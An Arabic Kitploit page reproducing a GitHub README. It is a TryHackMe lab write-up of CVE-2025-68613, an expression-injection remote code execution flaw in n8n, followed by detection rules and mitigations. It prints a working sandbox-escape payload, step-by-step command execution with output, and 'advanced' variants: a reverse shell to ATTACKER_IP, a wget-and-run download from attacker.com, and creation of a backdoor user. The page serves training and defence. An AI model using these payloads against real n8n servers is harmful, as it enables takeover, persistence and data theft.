Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
n8n-cve-2025-68613-thm | Kitploit
أدوات/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةالتعلم والتعليمالاستجابة للحوادثتطوير الحمولاتمختبرات وتدريب عملي
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

عرض المستودع
1منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-68613 – استغلال RCE الحرِج في n8n

نظرة عامة

يوثّق هذا المستودع استغلالاً عملياً لثغرة CVE-2025-68613 (CVSS 9.9)، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (Remote Code Execution) تؤثر على منصة n8n لأتمتة سير العمل (الإصدارات 0.211.0 حتى 1.120.3).

تم تنفيذ هذا الاستغلال بشكل أخلاقي في بيئة مختبر TryHackMe خاضعة للتحكم لأغراض تعليمية فقط.


ملخص الثغرة

الحقلالقيمة
معرّف CVECVE-2025-68613
درجة CVSS9.9 (حرِجة)
تاريخ النشر19 ديسمبر 2025
المنتج المتأثرمنصة n8n لأتمتة سير العمل
نوع الثغرةحقن التعبيرات → الهروب من العزل (Sandbox Escape) → RCE
ناقل الهجوممستخدم مُصادَق (افتراضي)
الإصدارات المُصحَّحة1.120.4، 1.121.1، 1.122.0+
الإصدارات المتأثرة0.211.0 - 1.120.3

ما هي n8n؟

n8n هي منصة مفتوحة المصدر لأتمتة سير العمل تتيح للمستخدمين ربط التطبيقات والخدمات بصرياً لأتمتة المهام. وتتميز بما يلي:

  • بنية سير عمل قائمة على العقد (Nodes): تمثل كل عقدة إجراءً (طلب API، معالجة بيانات، بريد إلكتروني، إلخ)
  • أكثر من 400 تكامل أصلي: موصلات جاهزة لمختلف واجهات API والخدمات
  • عقد التعليمات البرمجية (Code Nodes): تنفيذ تعليمات برمجية مخصصة بلغة JavaScript أو Python
  • تقييم التعبيرات: تعبيرات ديناميكية داخل {{ }} يتم تقييمها كـ JavaScript

نماذج النشر

  • مثيلات مستضافة ذاتياً (محلية أو سحابة خاصة)
  • خدمة مدارة مستضافة على السحابة (n8n.cloud)
  • أدوات أتمتة داخلية ضمن شبكات الشركات

الخلفية التقنية

سلسلة الثغرة

تكمن الثغرة في نظام تقييم تعبيرات سير العمل في n8n. فعندما يقوم المستخدمون المُصادَقون بتكوين سير العمل، تتم معالجة مدخلاتهم كتعليمات برمجية JavaScript دون عزل (sandboxing) مناسب.

سلسلة تصعيد السياق

root@kitploit:~
صندوق عزل التعبيرات (Expression Sandbox)
    ↓ (الهروب عبر 'this')
سياق Node.js العام
    ↓ (الوصول إلى mainModule)
نظام الوحدات (require)
    ↓ (تحميل child_process)
تنفيذ أوامر النظام

العيوب الرئيسية

  1. تقييم غير آمن للتعبيرات: يتم تقييم تعبيرات المستخدم داخل {{ }} كـ JavaScript خام دون عزل سياق مناسب
  2. الهروب من العزل: الوصول إلى كائن this يتيح الهروب من قيود العزل المقصودة
  3. وصول غير مقيد إلى الوحدات: يوفر process.mainModule.require() الوصول إلى نظام وحدات Node.js
  4. تحميل وحدات خطيرة: يمكنه تحميل وحدة child_process لتنفيذ أوامر النظام
  5. لا حماية ذات مغزى للمصادقة: يمكن لأي مستخدم مُصادَق استغلال الثغرة

تفصيل حمولة الاستغلال

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

الشرح:

  • this → الكائن العام في Node.js
  • this.process → كائن العملية في Node.js
  • process.mainModule → الوحدة الجذرية لتطبيق n8n
  • .require('child_process') → تحميل وحدة تنفيذ أوامر النظام
  • .execSync('COMMAND') → تنفيذ أمر shell بشكل متزامن
  • .toString() → تحويل مخرجات Buffer إلى نص قابل للقراءة

دليل الاستغلال خطوة بخطوة

الخطوة 1: المصادقة

الوصول إلى مثيل n8n الثغري وتسجيل الدخول ببيانات اعتماد صالحة.

بيانات اعتماد المختبر:

  • البريد الإلكتروني: [email protected]
  • كلمة المرور: Try12345!

شاشة تسجيل الدخول


الخطوة 2: الشاشة الترحيبية وإنشاء سير العمل

بعد تسجيل الدخول، تظهر لك واجهة إنشاء سير العمل. انقر على "Start from scratch" لبدء سير عمل جديد.

الشاشة الترحيبية


الخطوة 3: إضافة مشغّل يدوي (Manual Trigger)

انقر على "Add first step" وابحث عن "Manual Trigger". تعمل هذه العقدة كنقطة دخول لتنفيذ سير العمل.

إعداد المشغّل اليدوي

الغرض: تتيح عقدة المشغّل اليدوي تنفيذ سير العمل يدوياً عبر زر "Execute workflow" في الواجهة، مما يجعلها مثالية للاختبار.


الخطوة 4: تكوين سير العمل وإضافة تعيين الحقول

أضف عقدة "Edit Fields" لإجراء تعيين الحقول. هنا يتم استغلال الثغرة.

تكوين سير العمل

خطوات التكوين:

  1. انقر على "Add field" لإضافة تعيين حقل جديد
  2. اضبط الوضع على "Expression"
  3. يتيح ذلك تقييم تعليمات JavaScript البرمجية

الخطوة 5: تنفيذ أمر id

احقن الحمولة لتنفيذ الأمر id والحصول على معلومات المستخدم/الصلاحيات.

الحمولة:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

النتيجة:

root@kitploit:~
uid=1000(node) gid=1000(node) groups=1000(node)

تنفيذ أمر id

المعلومات التي تم جمعها:

  • التشغيل كمستخدم غير جذر (uid=1000)
  • عضوية المجموعة (gid=1000)
  • مسارات محتملة لتصعيد الصلاحيات

الخطوة 6: استكشاف نظام الملفات باستخدام ls

عدّل الحمولة لتنفيذ الأمر ls وسرد محتويات الدليل.

الحمولة:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

تنفيذ أمر ls

يوضح المخرجات:

  • وجود ملف العلم: flag.txt
  • بنية الدليل وصلاحيات الملفات
  • بيانات استطلاع إضافية

الخطوة 7: استخراج البيانات الحساسة

اقرأ ملف العلم باستخدام الأمر cat لإكمال الاستغلال.

الحمولة:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

العلم المستخرج:

root@kitploit:~
THM{n8n_exposed_workflow}

استخراج العلم


تقنيات الاستغلال المتقدمة

1. الصدفة العكسية (Reverse Shell)

إنشاء وصول تفاعلي للصدفة للتحكم المستمر:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. إنشاء مستخدم خلفي (Backdoor User)

إضافة مستخدم نظام جديد للوصول المستمر:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. تنزيل حمولة خبيثة

جلب وتنفيذ تعليمات برمجية عن بُعد:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. استكشاف تصعيد الصلاحيات

التحقق من صلاحيات sudo:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()

5. استطلاع البيئة

استخراج متغيرات البيئة:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('env').toString() 
})()

استراتيجيات الكشف

تسجيل وكيل الويب (Nginx)

قم بتكوين الوكيل الخاص بك لتسجيل أجسام الطلبات (request bodies) للتحليل:

root@kitploit:~
http {
    log_format detailed '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $body_bytes_sent '
                       '"$http_referer" "$http_user_agent" '
                       'Request-Body: "$request_body" '
                       'Duration: $request_time s';
    
    access_log /var/log/nginx/detailed_access.log detailed;
}

قاعدة كشف Sigma

كشف محاولات الاستغلال عبر طلبات واجهة برمجة تطبيقات سير العمل:

root@kitploit:~
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
    category: web_application_firewall
detection:
    keywords:
        - "process.mainModule.require"
        - "child_process"
        - "execSync"
    condition: keywords
filter:
    field: uri_path
    value: "/rest/workflows"
    method: POST

مراقبة إنشاء العمليات

راقب العمليات الفرعية المشبوهة التي يُنشئها n8n:

  • ترقب إنشاء child_process غير متوقع
  • راقب اتصالات الصدفة العكسية (bash، nc)
  • تتبّع تنزيل/تنفيذ الملفات المشبوهة
  • التنبيه على محاولات تصعيد الصلاحيات

مواقع السجلات

  • سجلات n8n: /root/.n8n/logs/
  • سجلات النظام: /var/log/auth.log، /var/log/syslog
  • سجلات تنفيذ سير العمل: قاعدة بيانات n8n

مؤشرات الاختراق (Indicators of Compromise)

  • تعبيرات JavaScript مشبوهة في حقول سير العمل تحتوي على:
    • process.mainModule
    • require('child_process')
    • execSync أو spawn
  • عمليات child_process غير معتادة
  • تعديلات غير متوقعة على سير العمل
  • محاولات تسجيل دخول فاشلة يليها وصول ناجح
  • تغييرات في نظام الملفات في أدلة غير متوقعة

الجدول الزمني للاستغلال


التخفيف والوقاية

إجراءات فورية

  1. قم بتحديث n8n إلى الإصدارات المُصحَّحة:

    • v1.120.4
    • v1.121.1
    • v1.122.0 أو أحدث
  2. تقييد الوصول إلى الشبكة

    • تطبيق قواعد جدار الحماية للحد من الوصول إلى n8n
    • استخدام VPN أو مضيفات الحصن (bastion hosts) للوصول الإداري
    • تعطيل التعرض الخارجي إذا لم يكن ضرورياً
  3. مصادقة قوية

    • فرض كلمات مرور قوية
    • تطبيق المصادقة متعددة العوامل (MFA)
    • استخدام تكامل SSO حيثما أمكن
  4. المراقبة والتسجيل

    • تفعيل التسجيل التفصيلي لجميع أنشطة n8n
    • مراقبة تعديلات سير العمل في الوقت الفعلي
    • إعداد تنبيهات للتعبيرات المشبوهة

إجراءات أمنية طويلة الأمد

  1. التحقق من المدخلات وتنقيتها (Sanitization)

    • لا تقيّم أبداً مدخلات المستخدم كتعليمات برمجية
    • تطبيق قائمة بيضاء (whitelisting) للتعبيرات
    • تنقية جميع تعريفات سير العمل
  2. تنفيذ العزل (Sandbox)

    • عزل تقييم التعبيرات في بيئة عزل مقيدة
    • تقييد الوصول إلى واجهات برمجة تطبيقات Node.js
    • استخدام الأجهزة الافتراضية أو الحاويات للعزل
  3. مبدأ الامتياز الأقل (Least Privilege)

    • تشغيل n8n بأقل الصلاحيات المطلوبة
    • تقييد الوصول إلى نظام الملفات
    • الحد من الاتصال بالشبكة
  4. مراجعة التعليمات البرمجية والاختبار الأمني

    • تدقيقات أمنية منتظمة للعقد المخصصة
    • تطبيق أدوات SAST/DAST
    • تنفيذ تمارين نمذجة التهديدات (Threat Modeling)

المراجع

  • وثائق n8n الرسمية
  • سياسة أمان n8n
  • وحدة العمليات الفرعية في Node.js
  • OWASP حقن التعليمات البرمجية
  • CWE-95: تحييد غير صحيح للتوجيهات في التعليمات البرمجية المُقيَّمة ديناميكياً
  • حاسبة CVSS v3.1

معلومات المختبر

  • المنصة: TryHackMe
  • الغرفة: n8n: CVE-2025-68613
  • رابط الغرفة: https://tryhackme.com/room/n8ncve202568613
  • الصعوبة: متوسطة إلى صعبة
  • الأهداف التعليمية: حقن التعبيرات، الهروب من العزل، RCE، استراتيجيات الكشف

إخلاء مسؤولية

تم إعداد هذه الوثائق لأغراض تعليمية واختبار أمني مصرح به فقط. التقنيات الموصوفة مخصصة لـ:

  • اختبار الاختراق المصرح به
  • البحث الأمني في بيئات خاضعة للتحكم
  • التدريب العملي في مختبرات TryHackMe
  • فهم الثغرات الأمنية

الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائماً على تفويض كتابي مناسب قبل إجراء الاختبارات الأمنية.


بنية المستودع

root@kitploit:~
.
├── README.md                    # This file
├── exploitation-details.md      # Technical deep-dive guide
├── screenshots/
│   ├── 01-login.png
│   ├── 02-Welcome.png
│   ├── 03-Manual_Trigger.png
│   ├── 04-Workflow-setup.png
│   ├── 05-rce_id.png
│   ├── 06-Change_id_ls.png
│   └── rce_cat_flag.png
└── notes/
    └── exploitation-details.md

ملاحظات المؤلف

يوثّق هذا التقرير الاستغلال الناجح لثغرة CVE-2025-68613 في بيئة مختبر TryHackMe. تُظهر الثغرة الأهمية الحاسمة للتقييم الآمن للتعليمات البرمجية ومخاطر التنفيذ غير الكافي للعزل في منصات الأتمتة.

يساعد فهم هذه الثغرة كلاً من فرق الأمن الهجومية على تحديد المشكلات المماثلة وفرق الدفاع على تطوير استراتيجيات كشف أكثر فعالية.

تنزيل الأداة
الخطوةالإجراءالوقت
1الوصول إلى مثيل n8nثوانٍ
2إنشاء/تعديل سير العملأقل من دقيقة
3إضافة عقدة تعيين الحقولأقل من دقيقة
4حقن وتنفيذ الأمر idأقل من 30 ثانية
5استكشاف نظام الملفات باستخدام lsأقل من دقيقة
6استخراج البيانات باستخدام catأقل من 30 ثانية
الإجمالياستغلال RCE كاملأقل من 5 دقائق